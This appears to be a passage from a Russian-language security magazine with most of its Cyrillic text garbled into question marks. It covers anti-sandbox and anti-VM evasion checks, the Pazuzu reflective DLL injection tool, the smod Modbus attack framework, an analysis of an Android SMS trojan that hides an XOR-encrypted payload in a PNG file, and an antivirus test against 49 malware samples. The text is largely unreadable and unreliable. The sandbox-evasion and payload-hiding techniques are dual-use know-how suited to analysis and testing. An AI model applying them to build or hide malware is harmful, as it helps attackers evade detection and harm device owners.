? ????????????? Python-????;
? ???????? ?а???????? ??????;
? ???????? ??????????;
? ?????? ?а???-?????? (Windows ?аAndroid);
? ?????????? ?а?????? PE exe ???аx86 ?аx64;
? SOCKS5-??????;
? ?
???????? ?а????????? ??????????????? ??????;
? ?????????? ????-????;
? ?????????;
? ?
?????????а? ?????? ????? ???????, ??? ????
???????.
ANTI-SANDBOX ?аANTI-VM
?????? ?????? ????????? ????????????? ?????????? ???? ??? ?????????? ???????????, ???????????? ???????? ?а??? ?????????? ???????.
???а??????????? ??????? ???????? ????????????
????????? ?????????:
? ?
?????????? VirtualBox: ?????, ??????, ?????,
???????, BIOS ?а??? ?????;
? ?
?????????? VMware: ?????, ??????, ?????,
???????, BIOS, ??????, IDTR, LDTR, TR, SMSW,
I/O Port ?а??? ?????;
? ??????????? QEMU: ??????, BIOS, CPU;
? ?
?????????? Cuckoo Sandbox: ?????, ?????,
?????, ????????????? ???????, ?????, ??????
?а??? ?????;
? ?
?????????? Sandboxes (Anubis, Thread Expert,
Cuckoo, Sandboxie, CWSandbox): ??? ??????????, ??????, ??????? ?????????, ????????????
??а??????? ?????, ????? ?а??? ?????;
? ?
?????????? ???????????? ???????: Immunity
Debugger, OllyDbg, IDA Pro, Regshot, Fiddler,
Wireshark, Process Monitor, Process Hacker,
Process Explorer.
???????????, ?????? ??? ????? ??????????????
???а???а?????? ?????а? ???????????? ????????????
????????? ??а???????????? ??????? ??а???????????? ????, ??? ?а????????а? ?????? ????????????
???? ???а????????? ???????. ???? ?а?????-?????
????????????.
PAZUZU
Pazuzuа? ??? Python-??????, ??????? ?????????
?????????? ???? ??????????? ???? ?а?????????
DLL ?а??????? reflective DLL injection. ??? ????????
????????? ??????????? ??????????? ???? ???????? ??а??????.
???? ????????? ?????????, ????? ??? ????? ???????????. ????????, ???? ?? ?????? ?????????????????? ?????????? ?а????????? ???? ???????????
??????????? ???? ?????? ????????? reflective DLL.
??????:
?а????? ?????? ?? ?????? ????????? ??????????Borja Merino
???? ???????? (reverse TCP, HTTP, HTTPS...) ?а?????????????? DLL, ??????????????? Pazuzu. Pazuzu
URL:
????? ????????? ???? ??????????? ??? ?а????????
github.com/BorjaMerino/Pazuzu ????????? ???????????? ????????? ???????? ??а???
???, ???? ???? ?????? .reloc.
???????:
????? ???????? ???? ??????? ???????????
Windows
??а????????:
???? ??? ???????????:
? ??????????? ??????????? .reloc-??????;
? ??? ????????? .NET CLR;
? ????????? ?????? 32-?????? ??????????? ??????.
??????:
enddo
URL:
github.com/enddo/smod
???????:
Linux / OS X
??????? MODBUS
Smodа? ??? ????????? ????????? ?а??????? ???????????????? ?а????????-?????????????, ??????? ????? ???? ??????????? ???а???????? ????????? Modbus, ???????? ????? ??????????????
?а??????????????? ?????. ??? ?????? ??????????
Modbus-????????? ??аPython ?а??????? ?????????? Scapy.
????????? ?а??????? ?????? ????? ??а????
????????? Metasploit, ??? ??? ??????? ??????????
????? ?????? ?а??????. ??а?????? ?????? ?а?????????? ???????????? 14 ???????, ????? ???????:
? ????????? ?????;
? ????????? ??????? ???а????????;
? ?????? ??????????? Modbus-?????????;
? ?????? ???????????? ??????? ?аModbus;
? ?????? ????????? UID;
? ?????? ???а????? ARP-???????.
???а??????? ?????????? ????????:
# python smod.py
???а?????? ???????:
SMOD >help
???а????????????? ?????????? ?????? ?????????? ??а?????????, ?????? ??????? Python 2.7 ?а?????????? Scapy.
MALWARE
???????
??а??????????????
????????? ??????????
??????? ???аANDROID
????? ????????
?а?????? ???? ???????? ???????????? ?а???? ??? ?????? ??????????а? ???????, ?????????, ????????... ??
????????? ??????, ???????? ?а???? ????????????. ?????? ???????, ??? ?????????? ??? ??????? ????????? ???????? ???? ??а??? ????????. ????????????? ???????????
??а?????? ???????? ??а?? ??????? ?????, ?а????? ?а????
???????? ??, ??????. ???? ???????? ?? ???? ????????
?а????????, ????? Aidstest ??? ?а?а??????? ??а????? :)
????? ?????????? ??????????? ??????? ?????????? ???????? ??а???? ?????.
??????? ????????
??????????? ???????? ??? ???????? ???????????????? ??????? ??????????????? ??????????????????? ???????????? ?????????? ?а??аAndroid: ??????????, ?????????? ?????????? ????? ?а???????? ?????????. ??????????а? ???
?????????? ???????????? ???? ????????? ?а????, ???????????? ??? ????????????????, ??а????????????? ??????. ????? ???????????? ???? ????? ?????????? ?а?????????????? ?а??????????? ?????? ????????? ????????, ???????? MP3, PNG, GIF, AVI. ????? ????? ???????? ???? ?????????? ????????????
??????????????.
?????????? ??????: ????-?? ?????? ??????
??????????? ??????????, ???? ?????? ?????? ?а?????????? ????? ??????. ??а??????????? ??????? ??????????, ????????? ??а?????????, ??????????????
??? ?????????? ?????????????, ??а??????????? ???????? ?????????? ????????? ?????????? SMSSender. ?????? ????? ????? ???????????? ?????????? (??? ???????????? ?? ?????? ?а?????????? ??????), ??????? ?????????
???????? ??????????? ???а???????????? ???.
?????? ??????? ???? (? ?????? ?????????? ???????????? ?а??? ??????
??? ???????) ????? ???а?????? Android Studioа? ??????????????? ????? ?????????? ???а?????? ?а?????????? Android. ?????? ?а????? AndroidManifest.
xml, ??????? ???????? ??????? ???а????????? ????????? ??????? ?а????
??а????????? ??????????. ?а??????????? ????? ??????? ?????? SMS_SEND,
??????? ???????? ?????????? ?????????? ???.
??????? ????? onCreate ?????? Activation. ????? ???????? ????????? ???:
?????? ???? ??????????, ??? ????? ??????? ?????????? ????????????? ??????????? ??? ???? ???????? ????, ??????? ??а???????????? ??а?????? ?????????? ??????????.
???????????? ????? cl/catsboat/c, ????? ???????? ???????? ??а??????
??а????????? ?????:
?а???? ?????? ???? ????????? ?а?????? a.smali. ??????????? ?????? ????????
????????? ???:
???? ???? ???? ??????? ??????, ?????????????? ????? ????? ?????? ???а?????? ??аimage.png, ???????????? ?а????? Assets ?????????? SMSSender, ????? ?????????? ?????? 13 446 ???? ?а??????? ??а?????? ???? ????? ???а??????
Java-??????. ??????? ????????????, ??? ?а????? image.png ??????? ????????????? ???, ?а???????? ?????????? ?????????? ????? ???????.
????????? ?а?????? cl/catsboat/a.smali. ??? ??????????? ???????? ????????? ???:
???????? ???? ?а????????????????? ???????:
{10,2,4,5,6,7,8,92,45,24,56,78}
???а????????? ?????????????? ???? ?а????? image.png ?????????? ?а??????? ?????????????????? ????????? WinHex ?аJava-?????????? ?????????
????????? ????????.
1. ????????? ?а????????? ??????????? image.png, ??????? ????????? ?а???????? \SMSSender\assets. ??? ???а??????????? ??????????? image ?????
?????? PNG, ?? ??? ????-??? ?????? ????????????? ???а44 4? 44 ?? 42 60
82 (ENDоB?). ??????? ?а????-???? (ENDоB?) ??????? ????????? ?????,
?????? ?а??????????? ??????????? ??????????? image ????? ???? ????
?????????????? ???, ?????????? ??а???. 1.
???. 1. ?????????????? ???
2. ???????? ???? ???? ?а????????? ????, ???????? ??? night ?а????????? (???. 2).
???. 2. ???????? ????? night
3. ?
??а??????????? ????-???? ?????????? ??????????? ???? ???, ???????
?????? ?????? 317 ????, ??а?????? ????? ??а????? night. ?????? ??а??????
XOR??? ?????????? ?а?????? ??а?????? key ?а????????? ?? ?а????? buf.
????? buf ??????? ?а????????? ?????:
4. ?
?????? ???? test ?а?????? ????? ?а???????? *\Java\jdk1.7.0_79\bin
?а??????????? java. ????? ????????? ????????? ?????? ?а????????? ?а??????? bin ?а??????? ??????? cd. *\Java\jdk1.7.0_79\bin. ?а?????????????? ????????? ?????? ????????? ????????? ???????: javac test.
java, ????? ????? ?а???????? bin ????????? ???? test.class. ???а??????????? ????-????, ???????????? ?а????? night, ????????? ??????? java
-classpath . test.
?а??????? ???????? ?????????????? ???:
????? ?????? ?????????????
??а??????????? ??????? ???? ???? ???????????, ??? ?????????? ??????????
???а??а????? 900 ?а??????? л??????? 961??????? 1000╗, ??? 961???????а? ????? ????????, ??а??????? ???????????? ???????? ????????, ?а1000а? ?? ?????. ?????? ????? ????? ???? ??????????? ??????????????? ???а??????? ???????? ??????? ?а????????? ????????? ?а?????????? ????. ?а????? ?а???? ?????
????????, ??? ?????????? ??????????? ??? ????????, ?????????? ???????????? ????????? ???? ??????????.
??????????? ??а????????
????????? ??????????, ???????????-????????????? ???????? л?????? ???╗, ??????????? Dr.Web Security Space ??? Android:
????? ?????????? ?????? ?????? ????? ??а????????????, ??????? ???? ?????
????????????? ?а????????? ?????. ?????? ??? ?????? ??? ???? ??а????, ?а????????? ??????? ???????? ?????? ???????. ????????? ???? ???????????? ?????????, ??????? ????????? ???????? ??? ???, ??? ????????? ????? ???????????????. ??? ????????? ??а?????? ???????????? ???????????? ????, ??а?а??????
???????? ??????? ????????????? ?????????. ?а???????, ??????? ??????????
??????????, ??????? ????????? ?????????? ????? ??????????? ????????? ?????????????, ???? ???? ??? ?????? ????? ?а??? ??а?????? ??????? ?а???????? ??????????. ??, ???? ??а????, ???а????? ??????? ????????? ??аGoogle Play,
?????????? ??? ???? ??а?а????. ??????, ?????? ??????, ??? Google ????????? ?????????? ?????? ??а?? ????????? ??а?????????? ?а?????? ?????. ??????
??а?????????? ???????, ????? ????????? ??? ?????. ?а??, ??? ????? ?????
?????????? ??????????? ?а???????? ???????, ??? ?????? ??а???????.
MALWARE
???? ???????????:
???????????
??????
????? ????????????
dhsilabs@gmail.com
??а????????
?????????? KIS, DR.WEB SECURITY SPACE,
ESET SMART SECURITY ? WINDOWS DEFENDER
????????, ?а??? ???? 49 ??????????? ?????????? ???????, ??????? ??а??? 100%
???????? ??????????? ?а???????????? ??????. ?а??? ?? ??? ?????????? ?????
?а???? ??????? ?????? ?????, ????? ??? ???????? ??? ??а?????? ?а???? ???????? ??????????? ????????? ?????????? ???????? ????????? ?а??????????? ?????? ??????????? internet security, ???? ????????? ?? ??а???????? ??????????
?а???а????? ?????? ??а????? ?????????? ?????? ???????а? ?????? ?????????????? ?????????? ?????????? ?а?????????? ???а??????? ?а?????????, ?а?????
?????? ???????? ?? ??а????????? ???????? ???????, ??????? ??? ????????????? ????? ???????????? ?а??????????? ??????. ??а?????????? ????????
??а????, ???????, ??? ??а????? :).
?а???????? ?????????? ???????? ????? ???????????? KIS, Dr.Web, ESET
?аWindows Defender. ???, ????? ??????????, ????? ???????? ?аWin 7. ????????? ?? ????? ???????? ??? ??????????? Win 10а? ???? ???????, ??? л???????╗ ????? ???????? ?а???? ?а????? ???????, ???аDefender, ?????? ??а???????.
???а?, ????????.
??? ??? ?а????????????
??? ??? ????? ???????????: ??????????? ??????, ?????????? ??????? ??????
?а??????? ?????????. ?????? ???? ???????? ???а??????????? ??????а? ?а?????? ???????. ???а??????? ?а???????? ?????? ??????? ?????????? ????? ???????.
????? ????? ????? ?? ??????? ???? ?а??????? ?????????? ?????? ?а?????????? ???????????. ??? ???а??????? ?????, л?????????╗ ???а???????? ??????? ????? ???????? ????? ???????????. ???????? ?? ??????, ??????? ????????
??а??????? ?а?????????? ??????-?????. ????? ???????? ????????? ?????, ???????
???? ?а???????????? ????,а? ????? ????????? ??????????? ???. ??????????
????? ????????? ?????, ??????? ?????????? л????????╗.
??? ?????? ?а???? ???????? ???? ????????? ??а??????: Backdoor, Worm,
Virus ?а??? ?????. ????? ????? ???????? ?????? ???? л?????? ?????????╗.
???а??????, ???? ??а???? ???????.
???? ????
???? ???? ??????????? ??? ??а????? ????????????. ?? ??? ????????? ?? ??
?????? ????? л????? ?????????? ???????????╗. ??? ??? ????????? ?????????????а? ???????? ?а?????? ?а???? ????? ?????? ??????? ???а????? ?????????????? :).
??? ???????? ???????
??? ??????????? ?????? (?????????? ??????????? ???а???? ??????), ?а???????? ??? ???????? ????? ????? ????????? ??????????, ????? ???? ??а????????????? ????????? ???????? ???????.
KASPERSKY INTERNET SECURITY
?????? ???????????? ??а???? ?????????? Kaspersky Internet Security. ???а?????
??а?????? ????, ????????? ??? ?????????? ????? ???? ????? (???????? 24 ???
??????????? ?????????????).
Kaspersky Internet Security
????????? ?????????, ????????????? ????? ?а????????. ????????? ?? ??а??????????, ??а????????? ?????????? ???????? (????? ?? ??а???? ????????? ???
??????, ?а????????????????? ??а????? ?????) ?а????????? ????? Virus. ?????,
?????-?? ??? ?а20-???????? ???????? ??а???????? ?????????? ?????? 23 ?????.
??? ?а?а?????? ?а??????????а? ?а????? ??а49 ?????? ?? ????????? ????? 80!
????????? ????????
??????, ?а???? ???? ????????? ????????? ????? ?а????????? ???????? ?а?????? ???????? ?????? ??а???. ????????? ????????? ?????.
????????? ?????
???а????? ??а??????, ??????? 45 ????? (?? 49). ????? Trojan.Win32.Waldek.jsu
??????-?? ??а??? ??а??????, ??а??????? ?а????????: ????????? ??? ??????
??а?????????, ???? ?а?????????. ????? ?а????? Virus ???????? 11 ??????.
???????? 11 ??????
?????? ????? ??????? ??????? ?а????? RansomWare. ???а????? ??а?????????,
????? ?а???????? 2, 4, 7 ?а8 ????????? ?????? ??а??????. ????????? ?????
?????????? ??а?????? ????? ?????????? ???.
??? ?????????? ???????????
??? ?, ?????? ?????????? ?????? ?а???????? ????????? л????????╗ ??????
??а????? Virus. ? ???????? ?????? ??? ????? ??а????? RansomWare (?????? 2
?а4). ???? ?а??????? 2 ??? ????????? ???аPDM:Trojan.Win32.Generic. ?????????
?????? ??????? ????????? ?????????, л????? ??????????????? ?? ???а???????????╗.
???????????? ?????? ?????????
????????? ???????? ????????? ?а?????????????. ???????????. ???????? ???????, ????????? ??????? ???????? ??????????? ????????? ?а??????? ???????? ???? ?а??????? 4.
??????? ???????
?????????? ??????? ??? ??а???????????. ????? ???????????? ? ??а??????? ?????? ???????. ???-?? ???????? ???????????, ??а??????? ????? ???????? ?????,
????????? ???????. ???-??? ????????? ????????, ??а??? ???????, ??? ??а???.
??????? ?????????, ???????, ???????? ?????? ????????? ???????? ???????.
????????? ???????
????????? ????????? ??? ?????????? ???????
????????? ????????? ????? ??а????? RansomWare (?????? 7 ?а8). ????? ????? ??????? ???? ??????, ???а?а?а?????????? ??????, ???????????? ???????
?????????? ??а???????????, ??? ????????? ?????????? ????????????. ????????? ????? ??????????? ??? ????? ????, ???а?????? ?????????? ??????????
??????????? ??????. ?????? ?а??? ??а?????а? ?а???? ??а????????? ???????,
??а?????????? ?а??????????!
??????????? ??????? ??????????
?????????, ??а??а???? ?а??????? 8 ????????? ??????????? ??? ?а??а????????????. ???? ??????. ??а???????? Scareware ???????? ???????????? ????
?а????? ?? ?????????. ??? ????????? ?????. ??а?????????? ??????? ???????,
?а????? ??? ????????, ?????? ?????, ?????? ???? ?????? ????.
??а????? TrojanCryptor ???????? ???? ?а?????? TrojanCryptor (1). ????????????а? ??????? ??????????. ??????? ?????????? ???? ??а???????????.
???? ????????? ??????.
???? ??????
?а?????????????
????? ??????????, ??????? ??а?????????? ????? ?? ???, ??а?????? ????????
????????????????, ???а?а?а?????? ??? ?а????? ?????????? ????? ?????. ?а???
???? ??а??????????? ???????? ?????????? ??????, ???а?? ??????? ?????.
??а????? Virus ???????? ????? ?а???????? 4 ?а8, ????? ??а????? Wormа? ????? 6 ?а8. ?????? ??????-?? ??а?????????? (?????? ????????? ??а?????? ???????????? ??????? ????????, ??а?а??????????????). ?а??а?????? ??????????
????? ??а????????????.
??????????? ??????
MALWARE
???? ???????????:
???????????
??????
????? ????????????
dhsilabs@gmail.com
?????????? KIS,
DR.WEB SECURITY SPACE,
ESET SMART SECURITY
?аWINDOWS DEFENDER
??а????????
?????? ??????
???????? ?????? ???????? ??????????. ?? ????а? ?????????? ??????????
???????? ??????? ?а?????????? ???????? ?????????. ????? ???????????? ?????????, ??? ?????????? ?а??????????. ?????? ??????, ?????????? ???? ??а??????????. ????????? ???????, ??? ????? ??а??????????. ???? ???????????
????????? ??а?????????? ????????. ??????? ?????? ??а????а? ?????? ??????
msconfig ?а????????? ??а?????? ????????????. ???а??????, ????????? ????????
?????? ??а???.
????? ??а??????????
??а??? ???????
???а???????????? ?????????? ?????????? ???????, ??? ?? ??????? ????????
??? ?????????,а? ????????? ???????? ??????? ???????, ?а?????????? ???????? ???-???? ??? ?????? ???? Ransomware (8).exe, ?а????? ???? worm (8).exe.
????????? ?????????
??????, ??? ????????? ??????????? ????? ?? ????????. ????? ??????? ????????? ????????? KIS ????? ???????, ??? ????? ???.
????? ????? ???
??? ?, ???? ????????? ????. ???? ?????????, ????????? ????????????. ?????
???????????? ?????????? ?????? ?????????????? ????? ?????????, ???????????? ????????? ????????? ???????. ????? ?????? ??????? ????? ???????????? ?????????.
?????? ?????????????? ????? ?????????
?????? ???-??? ???????????, ?а???-??? ???. ??, ?????????? ??????. ??а??а?????????а? ???а?????, ???????? ??????????? ??? ????????. ????? -!RecOveR!*,
????????? ??а????? ?????, ???? ??а???? ???????.
??а??? ????????
??? ?????????? ??? ???? ???? ?а????? ???????? ?????? ????????а? ??а????
??? ?а?????? ??????. ????? ?????????? ??а????, ????????????? ?????, ????????? ???????, ??? ?а???????? ??а??????????.
????????????? ?????, ????????? ???????
?????? ?????? ????? ??а??????. ???????? ??????, ???????????? ????? ?а???????? ?????????? ???????? ????? Virus. ????? ?????????? ??? ??????????
????????????? ??? ?????? (49). ?а?????, ??? ?а????????? ???????, ???? ??
?????????? ???????? ?а???? ?????? ????????? ???????, ????????? л??????????? ????????╗.
????? ?????????? ??? ??? ?????? ?????????
DR.WEB SECURITY SPACE
?а??????? Dr.Web ??? ?????? ????????? ??????, ???????????? ???? ????????
????? 466 ?????,а? Security Space. ????? ?????????? ??????? Katana ??а???????, ?????? ??? ?а??? ??? ???????.
???а?а????????? ???????????, Dr.Web ??? ?????????? ?????? ?????. ?????????, ??? ?а???? ?????????. ????????? ???????? ????, ??? ?а???????????,а?
???? ?????????? ????? 34 ??????.
???? ??а???????????: ?????????? 34 ?????? ??а49
????????? ???а???????
???а????????? Dr.Web ??а???? ??????? ??????????? ?а???????? ???????? (??
???? ???????????? ??????????? ?????? ??????????), ??а????? ??а??? ??? ?????
?? ??а????а? ??а????? ???????????? ?а??????? ????????? ?????? ??а??????????? ?а?????????.
??????? ?????? л???????????╗. ????????? ?????????? 34 ??????, ?а?????
Virus ???????? 18 ??????. ???????? ?????????????? ??????? 49 ????? 34 ????
????????? 15, ?????? ??????? ??? ??? ?????? ?????? ????????? ????? ????????? л???????╗.
????????? ?????????????? ?????
????? ???????
????? ????????? ????????? ????????????? ?????????, ????? ????????? ?????????????? ?????. ????? ???????????? ?а????? Virus ???????? ??????? ??
??????.
??????????? ???????????????
????????? ??а?????? ????? ?????, ?а?????? ?????????? ??????? ???????????
?????????. ????????? ???? ?? ?????, ??????? ??????? ?а?????????? ????????
????????. ?????? ?а???????? ??????? (SpIDer Guard) ????????. ?????? ???????? ??????, ??? ?а?????? ?а??????????. ?????? ????? ???????? ???? ?а??????? 1 ??а????? Backdoor (??????, ?????????? ????? ?????? ??? ??????????? ????????? ??а???? ?????). ??????? ??????????? ???????????????а? ???
?????? ????????? ???????????? ??а??а??? exe-???? ?а??????? 1, ?а??а??? ????,
???????, ??????, ?? ?????? ?а????? AppData.
??????? ??????????
??????????? ??????? ?? ???????????? ??а????????? Dropper ??а??????????? ?????. ?а??? ??а????? ???? Banker ?? ??а??????? ???????? ????????. ?????
????????? ?а???? ??????? ????????? RansomWare. ?????? ??????? ??? ????? ??а???? ????? ???????????.
?????? ????? RansomWare
???????? ?????? ??? ?????. ?????? ???????????? ??а??????????, ??? ?????
??а?????? -!RecOveR!*. ????????? ????? ??а???????????? ?????? ?????? (???
?а?а?????? ?а??????????), ????????? ???????????? ?????? ?а?????????????
??а???? ??а??????. ??????? ?????? ????, ?????? ?????????? ????????? ????????? ????, ?а????????? ??-???????? ???????.
????????????? ???? ?????? ?????
???????? ????? 4?6. ????????? ???????????? ??а??? ??а???? ?????. ??а?????-???? ?а????????? ???????????. ???? ???????? ??а???????, ?а?????? ???????????? ??????.
??? ??а????
????? ???????? ????? 7?9. ??а???? ??? ???? ??а???? ????? ???? ???????????.
???? ??а???? ????? ???????????
???? ?? ? ??????????
??? ??? ??а????? ???????? ??????, ??? ????
?? ??? ???????. ??а??????, ???? ??????а? ????????? ?????????????. ?а????? TrojanCryptor
???? ??? ?????а? ?а???????? 1 ?а4 (????
??а??????? ??? ???? ???.NET ??????? ??????
??? -!RecOveR!*). ?????? ???????????? ???
???????, ?а??а??????? ??????? ???? ?????? ??????? Win 7а? ????? ????????
????? ??????????? ?а?????? ??а?????????? :).
??? ????? ??а????? Virus ???? ??? ???????, ??? ????????, ??????? ? ??????
??а????????. ??????? ?????? ???? ????а? ?а??????? 8 ??а????? Worm. ??????????, ????? ??????? ???? ??????? ????, ??????? ??а?????????? ??а???????????.
?????? ???????????? ??????
????????? ????????, ?????? ???, ??? ????? ???????, ?а??? ????? ?????????.
?а????? ? ???? ??????? ??????: ????????? ??а???? ??? ????????? ??а?????????????. ??? ????? README.TXT ??????????? ??а?????? ????. ????? ????
?? ???????? ??а?????????? email, ??а????????? ? ?? ??????? ??????????, ????
?????????? ??????. ?????? ????????? ? ??а????, ??? ???????????, ??а??? ?????
???????????? ???????????.
????????????
README ?????????????
??????????? ??????
MALWARE
???? ???????????:
???????????
??????
????? ????????????
dhsilabs@gmail.com
?????????? KIS,
DR.WEB SECURITY SPACE,
ESET SMART SECURITY
?аWINDOWS DEFENDER
??а????????
?????? ??????
????? ??????????, ??? ????????? ??? ??? ???????????, ???а?а???? ???????????? ???????. ??а?????, ???? ????, ??? ???? ??а?????? ???????????? ?????? ???????? ?????????. ???????? ?????? ??????????? ??????. ?а??? ?????
?????? ?????????? Dr.Web, ?а????? ?????????? ???? ??а??????, ??а??? ?а?????? ?????????? ??????. ???а????????? ??? ????? ???????????????? ?а???????
?????? ?аDr.Web Cloud.
???????????????? Dr.Web
????? ?????????? ??? ????????? ??????? ????????? ??? 49 ?????. ??????
????? ??? (????????, ???а?а????) ???????? ?????? ??? ?????? л?????╗, ???????
??????? ?????????? ?????????,а? ??? Trojan.DownLoader21.31460.
...?????? ????? ??? (????????, ???а?а????) ???????? ?????? ??? ?????? л?????╗,
??????? ??????? ?????????? ?????????,а? ??? Trojan.DownLoader21.31460
??? ?????? ??????????
?????? ?????? ????? ?????? ?????
???? ???????? ? ???????? ???? ?? ?????, ??а??? ????? ?????????? ???????????? ???. ???а?а????????? ???????, ?? ??????????? ??а????.
?????????? ???????????? ??? ???аDr.
Web ?????? ????? ?????? ????. ???? ?а??????
?а?????????? ?????
?????????? ??а??? ????????????? ???????????, ?? ????? ?????
???????, ????? ??????????? ?????????? ??? ??????????? ????? ??а??????????
?????? ???? ??????????? ???????. ??а?а?????????? ?а???????,
??????, ????????? ?а???????????? ???? ??????а? ???? ??? ?????????? ????
??????????? ?????? ?????, ????? ?? ???? ????????? ????, ????? ???? ????????? л????????????????╗ ??а??????. ???? ?а????? ??а?????? ?????? ?????????
?????? ???????.
ESET
???а?а?а?????????? ????????????, ESET ??? ?????????? ?????? ?????, ??? ????? ??а????? ???????? ????????.
????????? ESET
???? ??а?????? ??????? ??????? 36 ?????. ?????????, ????? ??????? ??а????????? Dr.Web. ?а????? Virus ???????? 14 ??????.
????????? ??????-????? ESET
???????? ?????? ?а????????
??????? ?а????????? ?????????? ??????. ?????? ????а? ????? ?а??????? 1 ??а????????
Backdoor (????????? ??а????
????? ????????). ????????? ??????????? ?????????а? ??????????? ????????? ??????????.
????????? ??а????????????
??а???????????? ?????????
?а???????? Banker ????? (????
?а??????? 1). ????? ????????
????? Dropperа? ??? ESET ?????
?? ???????.
???????? ?а???????????????? ????? RansomWare. ???а?аDr.
?????????? ??????
Web, ESET ??а?????? ??а????? ???????? ??а?????? ?????.
??а????? ?????? ????????? ???????????? ?????? ??а????? ?а???????? 3 ?а8.
????????? ?????? ??????? ???? ????????.
????????? ?????? ?????? RansomWare
?????????, ??аESET ??????? ????????? ?а?????? ??? ?????????????а? ???????? ??а?????????? ????? TrojanCryptor (????? *RecOveR*а? ??? ?????????
????????????? ???????? ?????? RansomWare).
??? ????????????? ????????? ???? ??а??????? ??????
??а????? Virus ?????? ?????? ???? ?а??????? 5. ???а??????? ??????? ?????????
???????????? ???. ?а????? Worm ????? ?????? ???????? ??????? ???? ?а??????? 8, ??а??а???? ????????? ?????? ??????? ???????????? ????? ???????,
?????? ?а????????? ?????????а? ??????, ????? ????? ????? ????????? ???????????? ????????.
?????? ???????? ?????? ???????????? ??????? ??а??????? ??????. ?????????, ??? ?????????. ???а????????? ??????? ???? ??????? ????? ??????
??????. ??????? ???????, ????? RansomWare-?????? ?а?????? ????????????
??а????????. ?????????? ?????? ?а????? Virus ????????? ??? ??????, ????????? ????? ??????? ??????? RansomWare ?????? ?а??? ????? ??????? ??????,
??? ???? ??????????.
????????? ?????? ????????????
?????? ????????? ???? ?а????????? ???????????? ????? ?????????????? ?????? ?а????????. ????? ?????????? ???????????? ??? ESET ????????? ??? 49
????? ?а????? Virus.
?????????? ??? ?????? (????? ??????????)
???а?а?а?????? ?а??????????? ????????????, ???????? ????????? ???????????? ????? ?????. ????????? ?????????? ???????????? ? ??????? ?????????.
??, ???? ?????????? 17 ?????, ??а????? ???? ??а????????а? ??а??а???????????, ??а??а???? л????╗. ????? ?????? ????????? ??ал????╗ ?????? ?а???????,
??а????? ?????????? ?? ??? ?????? ?????. ??? ??а??????????? ???????? ?????? ??а???????????, ??а??? ???? ??а???? ???????, ???а? ?????? ESET.
? ?????? ????????...
DEFENDER AKA ??????
??? ????? ?а???????? ???а??????? ???????, ??? ???? ????????. ??????????
?а????? ???????? ?????? ???? ??а?????? ?а??а????????? ??????, ????????? ????,
???а??? ????????, ?????????????. ??а?????????? ???? ?????????? ???????
???? ???????.
????? ??????????, ??? ??? ???? ???????? ????, ??? ?аESET ?аDr.Web,а? 42
??????. ????? ????????? ?????????.
л??????╗ ?????????? 42 ??????
?????, ??а????? ?? Defender ?а??????? ??????? ?????? Clean PC ???а????????
?????. ?а????? ?????? ????? ???а????????? ???????а? ????? ????????? ??????
??????????. ?????? ??? ??а???? ??????? (? ??а???????? ??), ?аDefender ??????
?? ????? ????. ???? ??а????, ??? ?? ?а???? ??????...
??????? ?????
??а????????? ???????? ?а????? ?а???????? ???????? ????? ????? ??????. ??????? ? ??а????? ????????? ??????????? ???? ????? ??????????. ????? ?????
???? ??? ????. Defender ??а????????? ????? ?а????? Scareware.exe, ??а?????
????? ?а??? ????? TrojanCryptor (1).exe, ?а??????? ??а????????? Dr.Web, ????????? ?????? ??а???????? Virus. ???? Defender ????? ??????????? ?а???????? RansomWare, ??????? ???????????? ???????? ?????????? ???????.
?????????, ???, ???а?????? ???? ???????? ?????? ?а???????? ???????,
Defender ????? ?????? ??? ?????? ??а???????? Virus.
???????? ????? ????? ??????
?????? ????????? ?????? ????? ????????? ?????? ?а???????? ??????? ?а?????
Virus ???????? ????? ??? ??????. ? ???? ??а????? ?? ?????????, ????????? ???
?????а? ????? ??????. ??? ?, ????????? ????? ???????? ????а? ????????? ???
????? ????????????. ?? ??????????, ?аDefender ????? ??а??????? ???.
???????????? ??????? ?аWindows 10
?????????, ??а???? Defender ?а??а???????????? ??а????????????, ????? ???
??? ?а??а??????????, ??? ?????????????? ??????? ????.
????? ??а???????????
???а??????? ???????????? ? ???? ?????? ?????????? ?????: Scareware.exe
?а???? Virus (4).exe. ?а?????? ??????а? ?????? ???: ??????????? ?????????
?????????? ??а??????????, ?а??? ??????????????? ??????? ?а?????? ??????
???? ??????. ?? ?????? ?????? ????? ?????? ??а??????????; ??????, ????????
?а????? ??????а? ??а????? ???????? ?ал????????╗.
??а?????????? ??????? ?а??????
???? ?????, ??? ????????????? ????? ?а?????? ?????...
??????? ? ???? ??а????? ?????????
???? Defender, ??а???-???? ???? ?????????, ?????? ?? ?? ?????????? ??а?????????? ?????? ????? ??????????
????????? ????????? л???╗
???. ?а???? ??????? ?? ??а?????????.
??????? ?а???? ?????????? ???? ??????, ?а????????? ????????, ??? ?????
??а???????. ??? ??? ??а????? ???????????: ??????????, ????????? ??????
??а???????????? ??а??????.
???? ?а???? ?аDefender ?а??? ???? ?????????. ?? ??????????? ?????? ?????
Windows Update. ??????? ???????, ???? л???????╗ ???? ??????? ?????? ??????????? ???????????? ?а?? ????????? ??? ??????, Defender ??????????? ?????
??а?????.
?????????? ???????? ???????????? ???? ??-?? ???????????? ??????? Windows Update
???????, ??? ????????, ??? ?????????? ???????????а? ??? ??????, ??ал???????╗ ????????????? ??????? ????????????. ??????? ?????? ?? ?????????,
????????? ??а????, ??? ????????? ?а?????????? ??????????. ?????: ???? ??
???????? ?????????? Win 10, ?? ???? ????? ?????????? ????????? ?????????,
??????? ????? ??????????? ???а??????????? Windows Update.
??????????
??? ??? ??? ??а???????, ??? ? ???? ??? ??????. ?????? ??????, ? ??а???????,
???а??? ??????????, ??а?????? ????? ??????? ?????? Defender, ??????? ? ?а?????? ?????? ????? ??????? л???????╗. ?? ????? ?????? 42 ??????, ??? ???а?
????? ????????? ?????? ?а???????? ???????. ???????????? ??а????????
???, ???а???? ????? ??? ????????? ??????????. ??а?????, ?????? ?????, ??????? Windows 10, ?а??а??????????. ?????? ????????? ???? ????????? ??а???????????? ??а????????? ?????? ?????? ?а??а?а????????? ??????????? ????????
??а???????????, ?? ?? ????? ???????????? ?????? ??а?????? ?????.
?????? ????? ?а????? ????? ?????? ????????? ???????????, ???? ?а?а?????????? ??????????. ????????? ??????? ??? ?а??? ??а???????????. ??????
????? ?? ?а?????????????? ????????? ??????? ??аRansomWare, ??????? ???????? ???? ??????? *RecOveR*, ??а???? ??а????????? ??????? ????????????.
?????? ????? ????????? Dr.Web ?аESET. ?????? ??а??????? ?????-????????????, ??? ????????? ?????? ?????? ?а?????????????? ???????, ?а??????
???????? ??????????? RansomWare. ???????, ??? ???? ??? ????? ???????
